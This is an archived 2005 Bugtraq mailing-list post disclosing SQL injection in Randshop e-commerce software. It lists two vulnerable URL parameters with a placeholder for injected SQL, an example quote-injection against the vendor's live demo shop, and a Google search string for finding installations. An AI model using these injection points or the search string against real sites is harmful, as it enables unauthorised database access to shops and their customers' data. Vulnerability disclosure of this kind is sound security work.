Randshop all versiyon Sql İnjection

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Randshop all versiyon Sql İnjection
From: liz0@xxxxxxxxxxx
Date: 28 Nov 2005 15:26:35 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Randshop all versiyon  Sql &#304;njection 

Website:http://www.randshop.com

Demo:http://www.randshop.com/demoshop/
-------------------------------------------------------------------
Credit:Liz0ziM & wannacut Mail:Liz0@xxxxxxxxxxx www.biyo.tk

-------------------------------------------------------------------
exploit :

http://[victim]/folder/themes/kategorie/index.php?kategorieid=6[SQL]
http://[victim]/folder/themes/kategorie/index.php?katid=40[SQL]

--------------------------------------------------------------------------------
eg:

http://www.randshop.com/demoshop/themes/kategorie/index.php?kategorieid=21'

--------------------------------------------------------------------

Google:intext:"software 2004-2005 by randshop"





http://www.blogcu.com/Liz0ziM/112800/



http://biyo.5gigs.com/randshop.txt

Prev by Date: Re: Multiple security issues in TikiWiki 1.9.x
Next by Date: - Cisco IOS HTTP Server code injection/execution vulnerability-
Previous by thread: Re: DNS query spam
Next by thread: - Cisco IOS HTTP Server code injection/execution vulnerability-
Index(es):
- Date
- Thread

Randshop all versiyon Sql &#304;njection

Randshop all versiyon Sql İnjection